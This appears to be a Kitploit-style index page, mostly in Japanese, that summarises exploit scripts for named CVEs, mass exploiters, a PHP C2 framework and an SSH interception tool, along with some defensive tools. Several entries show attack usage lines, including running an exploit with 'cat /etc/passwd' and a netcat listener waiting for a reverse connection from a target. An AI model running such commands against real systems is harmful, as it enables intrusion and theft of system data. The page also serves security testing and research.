CVE-2022-22947

CVE-2022-22947 使い方: root@kitploit: python3 CVE-2022-22947.py url...

operative-framework

operative framework はデジタル調査フレームワークです。複数のターゲットと対話し、複数のモジュールを実行し、ターゲットとのリンクを作成し、レポートをPDFファイルにエクスポートし、ターゲットや結果にメモを追加し、RESTFul APIと対話し、独自のモジュールを作成できます。 重要 このプロジェクトはRustで再設計され、ここ数ヶ月間活発に開発が進められています。PRを歓迎します。 ロードマップ 機能| 状態 ---|--- CRUDターゲット| ✓ CRUDリンク| ✓ CRUDワークスペース| ✓ dot形式でのエクスポート| ✓ 非同期コア実装| ✓...

CVE-2022-30190

CVE-2022-30190 重要 パッチ適用日: 2022年6月14日 セキュリティアップデート CVE Report HTMLファイルはターゲットに提供される必要があります（例：exploit.html ） 攻撃を実行する簡単な方法は、次を実行することです（server.py ）...

CVE-2021-32724-Target

CVE-2021-32724 エクスプロイト対象リポジトリ /!\ このリポジトリは、脆弱なバージョンのCheck Spelling Workflowで構成されています /!\ このリポジトリは、CVE-2021-32724 エクスプロイトのターゲットです。 ハローワールド...

CVE-2020-6308-mass-exploiter

CVE-2020-6308-mass-exploiter CVE-2020-6308 大量エクスプロイター/ファザー。 使用方法: CVE-2020-5902-mass-exploiter.py -l list.txt -w workers...

phpsploit

Full-featured C2 framework which silently persists on webserver via polymorphic PHP oneliner...

spyse.py

spyse.py Python API wrapper and command-line client for the tools hosted on spyse.com. "Spyse is a developer of complete DAAS Data-As-A-Service solutions for Internet security professionals, corporate and remote system administrators, SSL / TLS encryption certificate providers, data centers and...

CVE-2018-1263-Demo

エクスプロイトデモ このガイドでは、脆弱性のあるコンポーネントをインストールし、CVE-2018-1263 で言及されている phpMyAdmin のバグに関連する攻撃を実行する方法を説明します。 CVE の説明 脆弱性が存在する理由 攻撃の仕組み 脆弱性のあるコンポーネントのインストール方法 攻撃の実行方法 CVE の説明 このエクスプロイトは、phpMyAdmin バージョン 4.8.x（4.8.2 より前）で発見された問題に関連しています。この問題を悪用すると、攻撃者はサーバー上でリモートコード実行とローカルファイルインクルージョンを実行できます。この脆弱性は、phpMyAdmin...

Mass-CVE-2023-3460

Mass-CVE-2023-3460 CVE 2023 3460 の大量スキャン。 使い方 mass-CVE-2023-3460.py list.txt クレジット https://github.com/gbrsh/CVE-2023-3460...

CVE-2024-4577

CVE-2024-4577 python poc作成の練習用。単一ターゲットまたはバッチ検出に対応。...

CVE-2022-24990-POC

CVE-2022-24990-POC 単なるpocであり、expではありません Windowsシステムではcve-2022-24990.exeを使用します Linuxシステムではcve-2022-24990を使用します 使用方法はとても簡単です -u 単一ターゲットスキャン -f バッチスキャン -t スレッド数、デフォルト20...

pocsuite3

pocsuite3 Legal Disclaimer Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. pocsuite3 is for security testing purposes only 法律免责声明 未经事先双方同意，使用 pocsuite3 攻击目标是非法的。 pocsuite3 仅用于安全测试目的 Overview pocsuite3 is an open-sourced remote vulnerability testing and...

CVE-2023-35813

CVE-2023-35813 CVE-2023-35813 のエクスプロイト 使用例: go run CVE-2023-35813.go https://example.com または go build CVE-2023-35813.go ./CVE-2023-35813 https://example.com スクリーンショット:...

CVE-2024-36401

CVE-2024-36401 CVE-2024-36401の脆弱性チェック用のプログラムです。 使い方 まず、以下コマンドを実行し、通信の待ち受け状態にしてください。 root@kitploit: nc -lvnp 9000 その後、別のウィンドウのターミナルでファイルを実行して下さい。 root@kitploit: python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 相手のドメインまたはIPアドレス --targetport...

ketshash

Ketshash A little tool for detecting suspicious privileged NTLM connections, in particular Pass-The-Hash attack, based on event viewer logs. The tool was published as part of the "Pass-The-Hash detection" research - more details on "Pass-The-Hash detection" are in the blog post:...

Apachuk

Apachuk - Shodanを使用したCVE-2021-41773 グラバー Shodanを使用したApacheディレクトリトラバーサルグラバー。コードの書き換え元 : https://github.com/mohwahyudi/cve-2021-41773 使い方 pip3 install requirements.txt python3 main.py -a Shodan APIキー -k Shodan検索キーワード Shodan APIキー ? https://account.shodan.io/ でShodan APIキーを取得するには、ログイン/登録してください。 例...

https-nj.gov---CVE-2018-14040

https-nj.gov---CVE-2018-14040 新泽西州官方网站漏洞报告 在 Bootstrap 4.1.2 之前的版本中，主要的 collapse 数据属性存在 XSS 风险。 data-target 属性和 data-parent 属性容易受到跨站脚本（Cross-Site Scripting）攻击。 Test 修复建议 针对此特定问题的修复方法可以是修改 getTargetFromTrigger 函数： return $target 改为： return $document.querySelectortarget 但似乎其他地方也存在同样的问题。 以下是另一个示例：...

CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-BigエクスプロイトツールGUI版v1.0 ツールの使用方法 コマンド実行の場所では、初回の実行に失敗した場合は数回再実行してください。 複数ターゲットアドレスの一括検出 リバースシェルの実行 単一ターゲットアドレスの検出 ファイルアップロード ソフトウェアのダウンロード先 リンク: パスワード: nmih...

CVE-2022-22947_exp

CVE-2022-22947-exp CVE-2022-22947 エクスプロイトスクリプト 使用方法 root@kitploit: python3 CVE-2022-22947.py 例: python3 CVE-2022-22947.py http://127.0.0.1:8080 "cat /etc/passwd"...

ssh-mitm

SSH MITM v2.3-dev Author: Joe Testa @therealjoetesta Overview This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and...